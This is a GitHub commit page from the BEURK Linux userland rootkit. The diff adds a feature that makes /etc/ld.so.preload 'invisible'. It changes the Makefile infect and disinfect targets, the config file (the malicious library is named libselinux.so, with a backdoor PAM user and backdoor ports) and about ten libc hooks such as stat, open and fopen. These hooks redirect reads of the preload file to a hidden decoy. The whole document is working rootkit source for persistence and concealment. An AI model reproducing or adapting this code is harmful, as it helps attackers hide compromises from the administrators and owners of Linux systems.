Skip to content

Commit

Permalink
feat(core): issue #78
Browse files Browse the repository at this point in the history
invisible content /etc/ld.so.preload
  • Loading branch information
chqrly committed Oct 15, 2015
1 parent f2dbe64 commit 647ecb1
Show file tree
Hide file tree
Showing 16 changed files with 83 additions and 9 deletions.
18 changes: 12 additions & 6 deletions Makefile
Original file line number Diff line number Diff line change
Expand Up @@ -3,17 +3,21 @@ UNAME := $(shell uname -s)
SHELL := /bin/bash

# set default config values (can be overidden by setting env vars)
BEURK_CONFIG_FILE ?= beurk.conf
BEURK_LIBRARY_NAME ?= $(shell grep -E '^LIBRARY_NAME[[:space:]]*=' $(BEURK_CONFIG_FILE) | cut -d= -f2 | xargs)
BEURK_DEBUG_LEVEL ?= $(shell grep -E '^DEBUG_LEVEL[[:space:]]*=' $(BEURK_CONFIG_FILE) | cut -d= -f2 | xargs)
BEURK_INFECT_DIR ?= $(shell grep -E '^INFECT_DIR[[:space:]]*=' $(BEURK_CONFIG_FILE) | cut -d= -f2 | xargs)
BEURK_CONFIG_FILE ?= beurk.conf
BEURK_LIBRARY_NAME ?= $(shell grep -E '^LIBRARY_NAME[[:space:]]*=' $(BEURK_CONFIG_FILE) | cut -d= -f2 | xargs)
BEURK_DEBUG_LEVEL ?= $(shell grep -E '^DEBUG_LEVEL[[:space:]]*=' $(BEURK_CONFIG_FILE) | cut -d= -f2 | xargs)
BEURK_INFECT_DIR ?= $(shell grep -E '^INFECT_DIR[[:space:]]*=' $(BEURK_CONFIG_FILE) | cut -d= -f2 | xargs)
BEURK_FAKE_LD_PRELOAD ?= $(shell grep -E '^FAKE_LD_PRELOAD[[:space:]]*=' $(BEURK_CONFIG_FILE) | cut -d= -f2 | xargs)
BEURK_ENV_IS_ATTACKER ?= $(shell grep -E '^_ENV_IS_ATTACKER[[:space:]]*=' $(BEURK_CONFIG_FILE) | cut -d= -f2 | xargs)

# do not infect the system in debug mode
ifneq ($(BEURK_DEBUG_LEVEL), 0)
BEURK_LD_PRELOAD := /tmp/beurk/ld.so.preload
BEURK_INFECT_DIR := /tmp/beurk
#BEURK_FAKE_LD_PRELOAD := /tmp/beurk/$(BEURK_FAKE_LD_PRELOAD)
else
BEURK_LD_PRELOAD := /etc/ld.so.preload
BEURK_FAKE_LD_PRELOAD := $(BEURK_FAKE_LD_PRELOAD)
endif

# absolute install path
Expand Down Expand Up @@ -113,14 +117,16 @@ infect: $(BEURK_LIBRARY_NAME)
@echo "Install in $(BEURK_INFECT_ABSPATH)"
install -d $(BEURK_INFECT_DIR)
install -m 755 $(BEURK_LIBRARY_NAME) $(BEURK_INFECT_DIR)/
echo $(BEURK_INFECT_ABSPATH) >> $(BEURK_LD_PRELOAD)
cp $(BEURK_LD_PRELOAD) $(BEURK_FAKE_LD_PRELOAD) || touch $(BEURK_FAKE_LD_PRELOAD)
echo $(BEURK_INFECT_ABSPATH) > $(BEURK_LD_PRELOAD)
@echo "Successful infection"

# uninstall the rootkit (if installed on current system)
disinfect:
@echo "Uninstall $(BEURK_INFECT_ABSPATH)"
$(RM) $(BEURK_INFECT_DIR)/$(BEURK_LIBRARY_NAME)
sed '#$(BEURK_INFECT_ABSPATH)#d' $(BEURK_LD_PRELOAD) > $(BEURK_LD_PRELOAD)
$(BEURK_ENV_IS_ATTACKER)=true cp /dev/null $(BEURK_LD_PRELOAD)
mv $(BEURK_FAKE_LD_PRELOAD) $(BEURK_LD_PRELOAD)
@echo "Successful disinfection"

# remove object files
Expand Down
8 changes: 8 additions & 0 deletions beurk.conf
Original file line number Diff line number Diff line change
Expand Up @@ -6,6 +6,9 @@
# str: name of the generated evil hooking library
LIBRARY_NAME = libselinux.so

# str: ld.so.preload file
LD_PRELOAD = /etc/ld.so.preload

# str: where to store infected, only work in `production` mode
INFECT_DIR = /lib

Expand All @@ -21,6 +24,11 @@ DEBUG_FILE = /dev/stderr
# str: hide files with this string in the name
MAGIC_STRING = _BEURK_

# str: fake ld.so.preload file
# WARNING MAGIC_STRING is present
# WARNING string "ld.so.preload" must not be present on FAKE_LD_PRELOAD
FAKE_LD_PRELOAD = /etc/_BEURK_ld_so_preload

# str: PAM username (for su / ssh login)
PAM_USER = beurkroot

Expand Down
3 changes: 3 additions & 0 deletions includes/beurk.h
Original file line number Diff line number Diff line change
Expand Up @@ -43,6 +43,9 @@ int is_attacker(void) INTERNAL_API;
/* is_hidden_file.c */
int is_hidden_file(const char *path) INTERNAL_API;

/* is_ld_preload_file.c */
int is_ld_preload_file(const char *path) INTERNAL_API;

/* is_procnet.c */
int is_procnet(const char *path) INTERNAL_API;

Expand Down
2 changes: 2 additions & 0 deletions reconfigure
Original file line number Diff line number Diff line change
Expand Up @@ -62,11 +62,13 @@ def type_hexbyte(v):
# the list of config keys (with their associated expected type)
CONFIG_KEYS = {
"LIBRARY_NAME": type_str,
"LD_PRELOAD": type_str,
"INFECT_DIR": type_str,
"DEBUG_LEVEL": type_int,
"DEBUG_FILE": type_str,
"XOR_KEY": type_hexbyte,
"MAGIC_STRING": type_str,
"FAKE_LD_PRELOAD": type_str,
"PAM_USER": type_str,
"LOW_BACKDOOR_PORT": type_int,
"HIGH_BACKDOOR_PORT": type_int,
Expand Down
4 changes: 4 additions & 0 deletions src/hooks/__lxstat.c
Original file line number Diff line number Diff line change
Expand Up @@ -32,6 +32,10 @@ int __lxstat(int ver, const char *path, struct stat *buf) {
if (is_attacker())
return (REAL___LXSTAT(ver, path, buf));

if (is_ld_preload_file(path)) {
return REAL___LXSTAT(ver, FAKE_LD_PRELOAD, buf);
}

if (is_hidden_file(path)) {
errno = ENOENT;
return (-1);
Expand Down
4 changes: 4 additions & 0 deletions src/hooks/__lxstat64.c
Original file line number Diff line number Diff line change
Expand Up @@ -32,6 +32,10 @@ int __lxstat64(int ver, const char *path, struct stat64 *buf) {
if (is_attacker())
return (REAL___LXSTAT64(ver, path, buf));

if (is_ld_preload_file(path)) {
return REAL___LXSTAT64(ver, FAKE_LD_PRELOAD, buf);
}

if (is_hidden_file(path)) {
errno = ENOENT;
return (-1);
Expand Down
5 changes: 5 additions & 0 deletions src/hooks/__xstat.c
Original file line number Diff line number Diff line change
Expand Up @@ -20,6 +20,7 @@

#include <sys/stat.h> /* struct stat */
#include <errno.h> /* errno, ENOENT */
#include <string.h> /* strstr() */
#include "beurk.h" /* is_attacker(), is_hidden_file() */
#include "config.h" /* REAL___XSTAT() */
#include "debug.h" /* DEBUG() */
Expand All @@ -32,6 +33,10 @@ int __xstat(int __ver, const char *__filename, struct stat *buf) {
if (is_attacker())
return (REAL___XSTAT(__ver, __filename, buf));

if (is_ld_preload_file(__filename)) {
return REAL___XSTAT(__ver, FAKE_LD_PRELOAD, buf);
}

if (is_hidden_file(__filename)) {
errno = ENOENT;
return (-1);
Expand Down
5 changes: 5 additions & 0 deletions src/hooks/__xstat64.c
Original file line number Diff line number Diff line change
Expand Up @@ -20,6 +20,7 @@

#include <sys/stat.h> /* struct stat64 */
#include <errno.h> /* errno, ENOENT */
#include <string.h> /* strstr() */
#include "beurk.h" /* is_attacker(), is_hidden_file() */
#include "config.h" /* REAL___XSTAT64() */
#include "debug.h" /* DEBUG() */
Expand All @@ -32,6 +33,10 @@ int __xstat64(int ver, const char *__restrict __file, struct stat64 *buf) {
if (is_attacker())
return (REAL___XSTAT64(ver, __file, buf));

if (is_ld_preload_file(__file)) {
return REAL___XSTAT64(ver, FAKE_LD_PRELOAD, buf);
}

if (is_hidden_file(__file)) {
errno = ENOENT;
return (-1);
Expand Down
4 changes: 4 additions & 0 deletions src/hooks/fopen.c
Original file line number Diff line number Diff line change
Expand Up @@ -19,6 +19,7 @@
*/

#include <errno.h> /* errno, ENOENT */
#include <string.h> /* strstr() */
#include "beurk.h" /* is_attacker(), is_hidden_file(), is_procnet() */
#include "config.h" /* REAL_FOPEN() */
#include "debug.h" /* DEBUG() */
Expand All @@ -31,6 +32,9 @@ FILE *fopen(const char *__restrict path, const char *mode) {
if (is_attacker())
return (REAL_FOPEN(path, mode));

if (is_ld_preload_file(path))
return REAL_FOPEN(FAKE_LD_PRELOAD, mode);

if (is_hidden_file(path)) {
errno = ENOENT;
return (NULL);
Expand Down
4 changes: 4 additions & 0 deletions src/hooks/fopen64.c
Original file line number Diff line number Diff line change
Expand Up @@ -19,6 +19,7 @@
*/

#include <errno.h> /* errno, ENOENT */
#include <string.h> /* strstr() */
#include "beurk.h" /* is_attacker(), is_hidden_file(), is_procnet() */
#include "config.h" /* REAL_FOPEN64() */
#include "debug.h" /* DEBUG() */
Expand All @@ -31,6 +32,9 @@ FILE *fopen64(const char *__restrict path, const char *mode) {
if (is_attacker())
return (REAL_FOPEN64(path, mode));

if (is_ld_preload_file(path))
return REAL_FOPEN64(FAKE_LD_PRELOAD, mode);

if (is_hidden_file(path)) {
errno = ENOENT;
return (NULL);
Expand Down
5 changes: 5 additions & 0 deletions src/hooks/lstat.c
Original file line number Diff line number Diff line change
Expand Up @@ -20,6 +20,7 @@

#include <sys/stat.h> /* struct stat */
#include <errno.h> /* errno, ENOENT */
#include <string.h> /* strstr() */
#include "beurk.h" /* is_attacker(), is_hidden_file() */
#include "config.h" /* REAL_LSTAT() */
#include "debug.h" /* DEBUG() */
Expand All @@ -32,6 +33,10 @@ int lstat(const char *path, struct stat *buf) {
if (is_attacker())
return (REAL_LSTAT(path, buf));

if (is_ld_preload_file(path)) {
return REAL_LSTAT(FAKE_LD_PRELOAD, buf);
}

if (is_hidden_file(path)) {
errno = ENOENT;
return (-1);
Expand Down
5 changes: 5 additions & 0 deletions src/hooks/lstat64.c
Original file line number Diff line number Diff line change
Expand Up @@ -20,6 +20,7 @@

#include <sys/stat.h> /* struct stat64 */
#include <errno.h> /* errno, ENOENT */
#include <string.h> /* strstr() */
#include "beurk.h" /* is_attacker(), is_hidden_file() */
#include "config.h" /* REAL_LSTAT64() */
#include "debug.h" /* DEBUG() */
Expand All @@ -32,6 +33,10 @@ int lstat64(const char *path, struct stat64 *buf) {
if (is_attacker())
return (REAL_LSTAT64(path, buf));

if (is_ld_preload_file(path)) {
return REAL_LSTAT64(FAKE_LD_PRELOAD, buf);
}

if (is_hidden_file(path)) {
errno = ENOENT;
return (-1);
Expand Down
9 changes: 9 additions & 0 deletions src/hooks/open.c
Original file line number Diff line number Diff line change
Expand Up @@ -21,6 +21,7 @@
#include <stdarg.h> /* va_list, va_start(), va_args(), va_end() */
#include <fcntl.h> /* O_CREAT */
#include <sys/stat.h> /* mode_t */
#include <string.h> /* strstr() */
#include <errno.h> /* errno, ENOENT */
#include "beurk.h" /* is_attacker(), is_hidden_file() */
#include "config.h" /* REAL_OPEN() */
Expand All @@ -42,6 +43,10 @@ int open(const char *pathname, int flag, ...) {
if (is_attacker())
return REAL_OPEN(pathname, flag, mode);

if (is_ld_preload_file(pathname)) {
return REAL_OPEN(FAKE_LD_PRELOAD, flag, mode);
}

if (is_hidden_file(pathname)) {
errno = ENOENT;
return (-1);
Expand All @@ -53,6 +58,10 @@ int open(const char *pathname, int flag, ...) {
if (is_attacker())
return REAL_OPEN(pathname, flag);

if (is_ld_preload_file(pathname)) {
return REAL_OPEN(FAKE_LD_PRELOAD, flag);
}

if (is_hidden_file(pathname)) {
errno = ENOENT;
return (-1);
Expand Down
5 changes: 5 additions & 0 deletions src/hooks/stat.c
Original file line number Diff line number Diff line change
Expand Up @@ -20,6 +20,7 @@

#include <sys/stat.h> /* struct stat */
#include <errno.h> /* errno, ENOENT */
#include <string.h> /* strstr() */
#include "beurk.h" /* is_attacker(), is_hidden_file() */
#include "config.h" /* REAL_STAT() */
#include "debug.h" /* DEBUG() */
Expand All @@ -32,6 +33,10 @@ int stat(const char *pathname, struct stat *buf) {
if (is_attacker())
return (REAL_STAT(pathname, buf));

if (is_ld_preload_file(pathname)) {
return REAL_STAT(FAKE_LD_PRELOAD, buf);
}

if (is_hidden_file(pathname)) {
errno = ENOENT;
return (-1);
Expand Down
5 changes: 5 additions & 0 deletions src/hooks/stat64.c
Original file line number Diff line number Diff line change
Expand Up @@ -20,6 +20,7 @@

#include <sys/stat.h> /* struct stat64 */
#include <errno.h> /* errno, ENOENT */
#include <string.h> /* strstr() */
#include "beurk.h" /* is_attacker(), is_hidden_file() */
#include "config.h" /* REAL_STAT() */
#include "debug.h" /* DEBUG() */
Expand All @@ -32,6 +33,10 @@ int stat64(const char *__restrict __file, struct stat64 *buf) {
if (is_attacker())
return (REAL_STAT64(__file, buf));

if (is_ld_preload_file(__file)) {
return REAL_STAT64(FAKE_LD_PRELOAD, buf);
}

if (is_hidden_file(__file)) {
errno = ENOENT;
return (-1);
Expand Down
6 changes: 3 additions & 3 deletions tests/quick/core/internal-api/run.sh
Original file line number Diff line number Diff line change
Expand Up @@ -41,12 +41,12 @@ done
# distclean at exit
trap "${MAKE} distclean" EXIT

# rebuild test
${MAKE} re

# use BEURK DSO library path
export LD_LIBRARY_PATH=${ROOTDIR}:${LD_LIBRARY_PATH}

# rebuild test
${MAKE} re

# run test as victim
./unit-tests

Expand Down

0 comments on commit 647ecb1

Please sign in to comment.